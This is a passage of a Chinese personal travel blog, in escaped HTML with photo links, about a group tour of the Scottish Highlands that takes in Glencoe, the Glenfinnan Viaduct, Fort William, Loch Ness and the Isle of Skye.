        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_151233.e67bab66c2299efd.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_151233.1bc3047e7767e791.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_151233.6c8a62841e83e821.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_151233.1bc3047e7767e791.webp&quot;
	alt=&quot;安徽人在苏格兰高地穿短裙&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h2 id=&quot;格伦科峡谷&quot;&gt;格伦科峡谷&lt;&#x2F;h2&gt;
&lt;p&gt;我喜欢踩草地，所以不走正道。谁承想，草地下的土壤吸满了水。我只有二十分钟自由活动时间，所以跑得飞快，自然也没注意到泥巴强大的黏力——直到我的鞋被黏掉了。这就是跟团游的弊端：着急。我在三姐妹山脚的小溪里看到三柱平衡垒石&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;我从没有自己垒过平衡石，但是根据我从书里读到的内容来看，这种游戏的技巧在于找到一个面的三个凸起。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;想必堆石头的游客在从容地自由行吧。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220902_154625.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_154625.aab696e6207f139e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_154625.73c2152c87913077.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_154625.acb0320335d7b7b4.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_154625.73c2152c87913077.webp&quot;
	alt=&quot;三柱平衡垒石&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;1692&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年，格伦科的麦当劳家族因为没有及时向新登基的威廉三世宣誓效忠而被屠杀。我不知道当地的麦当劳家族是否和金拱门有关系。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;格伦菲南高架桥&quot;&gt;格伦菲南高架桥&lt;&#x2F;h2&gt;
&lt;p&gt;我没有看过《哈利波特》系列电影，只看过一本小说的开头部分。所以我并不清楚游览计划中的拍火车有什么特殊的。同行的一个女生很喜欢《哈利波特&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，她跟我说了我才知道这里曾是电影的取景地。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220902_181246.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_181246.dce1541e4f962faf.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_181246.1edc68c176f2b663.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_181246.db3aabaf15b01368.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_181246.1edc68c176f2b663.webp&quot;
	alt=&quot;格伦菲南高架桥的蒸汽火车&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;在此之前我没有见过蒸汽火车，只听别人说过“蒸汽火车看上去很有力量感&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。可能是我站得离火车太远的缘故，我丝毫没有感觉到它的力量感在哪。尤其是车头排出的那点稀薄白烟，其震撼程度远逊于初中生在厕所里抽的水烟。那鸣笛呢？我已经忘了它有没有鸣笛了，看来是不够大声。&lt;&#x2F;p&gt;
&lt;p&gt;另外这趟车晚点了，当时站在山坡上大概有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;人的样子，大家都怀疑了好久这趟车是不是取消了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;威廉堡&quot;&gt;威廉堡&lt;&#x2F;h2&gt;
&lt;p&gt;傍晚时我们返回威廉堡，住在狭小的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Guest
House&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里。我们从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;19&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年版的《孤独星球》里选了三家餐馆，分别是主打苏格兰菜的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lime
Tree、主打海鲜的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Crannog Seafood
Restaurant&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;与从店主旅行经历汲取灵感的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Geographer。好不容易走到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;High
Street&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了，发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lime
Tree&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;涨价太多了吃不起、Crannog Seafood
Restaurant&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;早已约满了，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Geographer&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;门外排大队不知道要排多久。&lt;&#x2F;p&gt;
&lt;p&gt;饥饿促使我们随便找了家餐馆就进去了。等点完菜才发现我们选的是全威廉堡评分最低的餐厅。我承认，得知评分后再吃饭影响了我对餐厅的评价。但是店主毫不顾忌地使用微波炉加热蛋糕实在是让人没法好评。&lt;&#x2F;p&gt;
&lt;p&gt;纵使要了主食与甜点，我仍然没吃饱，最后在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Morrisons&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;买了些蛋糕填肚子。我很喜欢夜晚&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Morrisons&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;招牌在玻璃上反射的样子，就像这招牌是立在水面一般。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220902_204147.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_204147.fb0069bf892ec51a.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_204147.bf5beaef3f34af17.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_204147.87530316ddd54386.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_204147.bf5beaef3f34af17.webp&quot;
	alt=&quot;夜晚的Morrisons&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;威廉堡得名于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1690&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年威廉三世下令建设的堡垒：The
Old Fort of Fort
William。现在这个堡垒只剩下围墙了。作为吃完饭消食的景点来说，再没有地方好过这里了。第一眼发现堡垒的门及其后的水时，我以为谁在断壁上摆了个镜子。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220902_205543.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_205543.93a71cbbcc481203.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_205543.e79dffc71ee5fba2.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_205543.af73a08365b35bf6.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220902_205543.e79dffc71ee5fba2.webp&quot;
	alt=&quot;威廉堡旧堡垒的“镜子”&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h2 id=&quot;尼斯湖&quot;&gt;尼斯湖&lt;&#x2F;h2&gt;
&lt;p&gt;众所周知，尼斯湖没有水怪。但是这个传销太成功了，尼斯湖是我这一趟最期待的景点。这不，下图是我拍到的水怪。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_100931.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_100931.93fc6d5eebe1671f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_100931.4ed9c3cb68fc41b1.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_100931.b87d95f02c6bf186.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_100931.4ed9c3cb68fc41b1.webp&quot;
	alt=&quot;尼斯湖“水怪”&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;开个玩笑，不过，尼斯湖上确实可以目击到生物——鸭子。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_102247.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_102247.da7d7ac45f91bf29.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_102247.71629466ccfb2af1.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_102247.682cd684cd5b3393.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_102247.71629466ccfb2af1.webp&quot;
	alt=&quot;尼斯湖的鸭子&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;再走一走也同样神秘：废弃的木桥、无人的小船与英国最小的灯塔&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-4&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-4-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-4-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[4]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-4-content&quot;&gt;我很纠结游记里应该放什么样的图：是可以出现在明信片上的景点官方照；还是景点周边意思不大的随手拍。前者上网搜词条一定能搜到一大把，后者却是只有去了才能发现。我现在的倾向是：两手都要抓。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_101729.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_101729.e76267f0c6c31c7a.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_101729.e2faa7b6227c6d3f.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_101729.cc0c7b93ddbd8265.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_101729.e2faa7b6227c6d3f.webp&quot;
	alt=&quot;废弃的木桥&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_101619.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_101619.3efba2c2f97c8eab.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_101619.e1076896ebffafb3.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_101619.5c2df76567150862.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_101619.e1076896ebffafb3.webp&quot;
	alt=&quot;无人的小船&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_102428.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_102428.af3eebbb08f0f901.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_102428.d1d2e94b7e1fc75a.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_102428.3859d05c47685b31.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_102428.d1d2e94b7e1fc75a.webp&quot;
	alt=&quot;英国最小的灯塔“pepper-pot”&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;尼斯湖形状是一个很扁的长方形。这里有很多游艇，因为尼斯湖两端的水路可以延伸到大不列颠岛东西两面的海域。下图是从尼斯湖向西南方航行会用到的船闸。船上是法国人，我很羡慕他们从法国开到尼斯湖的时间与金钱。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_103141.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_103141.67b6036218befce9.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_103141.598b5196be37d771.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_103141.38fc5aa87ba53e22.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_103141.598b5196be37d771.webp&quot;
	alt=&quot;奥古斯都堡的船闸&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h2 id=&quot;高地牛&quot;&gt;高地牛&lt;&#x2F;h2&gt;
&lt;p&gt;同行的一位女生好像很想看牛，我则震惊于这也算个景点。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_105920.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_105920.dbf97ef130e55f1e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_105920.4cbc941222ca1c7c.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_105920.2877c4d3e18cd21c.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_105920.4cbc941222ca1c7c.webp&quot;
	alt=&quot;牛吐舌头&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;旁边的餐馆有卖牛粮的。图中这只牛真的好爱吃，而且每次都要吐出巨长的舌头把食物从投喂者手上卷回嘴里。我想要抓拍它舌头吐得最长的时刻，但是并不成功。每次旅行，我都想换手机——或者买相机。&lt;&#x2F;p&gt;
&lt;p&gt;同行的旅客里有说这只牛的牛舌一定很好吃的。我记不清说这话的是不是特别想看牛的那个女生了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;爱莲・朵娜城堡&quot;&gt;爱莲・朵娜城堡&lt;&#x2F;h2&gt;
&lt;p&gt;看完牛以后驱车驶向斯凯岛。路上看到一个水雷雕塑，因为快门速度的原因没有拍下来。途中路过爱莲・朵娜城堡，但只是在远处停下来拍了几张。因为距离太远，照不清楚。不过距离近了可能也照不出水上城堡的感觉。拍摄这个城堡最好的方式应该是用无人机在湖上拍。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_120039.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_120039.38c193fc0559f7f6.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_120039.b9959b931493d9f3.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_120039.f6650406651f5f44.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_120039.b9959b931493d9f3.webp&quot;
	alt=&quot;爱莲・朵娜城堡&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我们停车的地方停着几辆山地救援车。不知道为什么英国山地救援是由空军负责，而且还是靠汽车。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_115846.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_115846.57b4295c26d4c117.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_115846.8e22a768f8413f8a.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_115846.ebd61f7d976e8724.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_115846.8e22a768f8413f8a.webp&quot;
	alt=&quot;空军的山地救援车&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h2 id=&quot;斯凯岛&quot;&gt;斯凯岛&lt;&#x2F;h2&gt;
&lt;p&gt;斯凯岛在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1266&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年之前属于挪威统治。其名称（Isle
of
Skye&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Skye）也来自古诺斯语，意为雾。部分国人将它翻译为天空岛，是望文生义。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;波特里&quot;&gt;波特里&lt;&#x2F;h3&gt;
&lt;p&gt;商店里有好大的高地牛玩偶，我觉得比真的牛可爱。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_132509.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_132509.58d855384e567a4b.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_132509.f8eb28b070fc09f4.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_132509.d0de93deb772bb1e.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_132509.f8eb28b070fc09f4.webp&quot;
	alt=&quot;高地牛玩偶&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;海边有组织&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Boat
trip&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的，30&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镑可以看鲸鱼海豚。如果是自由行的话，我必去。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_133337.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_133337.50deba63b9e1acd5.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_133337.0d5e4be3cc7fd362.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_133337.05554bd83e6b4756.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_133337.0d5e4be3cc7fd362.webp&quot;
	alt=&quot;“沉舟侧畔千帆过”&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;Boat
trip&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;旁边有家炸鱼薯条店十分火。他们家太火了，所以点餐后要留个名字等店主叫。我怕外国人不会写我的名，所以只说了姓。店主听了我的姓，夸了句：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;好名字&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”我心说难道他懂中文？下意识看了下他记下来的拼写，原来只对了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;75%。名字可是大事，我连忙纠正。店主则不以为意，说：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;在苏格兰，这名字就是这样拼&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”我一查，他记下来的还真是个苏格兰名字。没想到啊，苏格兰人喜欢给人赐姓。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_133430.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_133430.9f84fb2471f334ca.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_133430.96919e12f83fabec.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_133430.134c18db844c6792.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220903_133430.96919e12f83fabec.webp&quot;
	alt=&quot;Fish &amp;amp; Chips&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;不过他家的炸鱼薯条确实好吃：肉新鲜，糊够薄。就是盐加多了，导致吃完我就去超市买水了。可能是旅游城镇的原因，超市里瓶装水已经售罄——只剩两桶五升大水了。人不能不喝水啊，于是我两只手抱着水桶痛饮，然后抱着水逛礼品店。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Old_Man_of_Storr&quot;&gt;Old Man of Storr&lt;&#x2F;h3&gt;
&lt;p&gt;推荐听完音乐再往下翻，否则页面会在音乐播放完时跳转回来。&lt;&#x2F;p&gt;
&lt;iframe allow=&quot;autoplay *; encrypted-media *; fullscreen *; clipboard-write&quot; frameborder=&quot;0&quot; height=&quot;175&quot; style=&quot;width:100%;overflow:hidden;background:transparent;&quot; sandbox=&quot;allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation&quot; src=&quot;https:&#x2F;&#x2F;embed.music.apple.com&#x2F;cn&#x2F;album&#x2F;life&#x2F;1509086121?i=1509086130&quot;&gt;
&lt;&#x2F;iframe&gt;
&lt;p&gt;Old Man of
Storr&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是电影《普罗米修斯》的取景地之一。电影开头人类在这里发现了工程师留下的壁画。遗憾的是我只能远远的照相，没有登上去，没法还原电影。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220903_142436.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
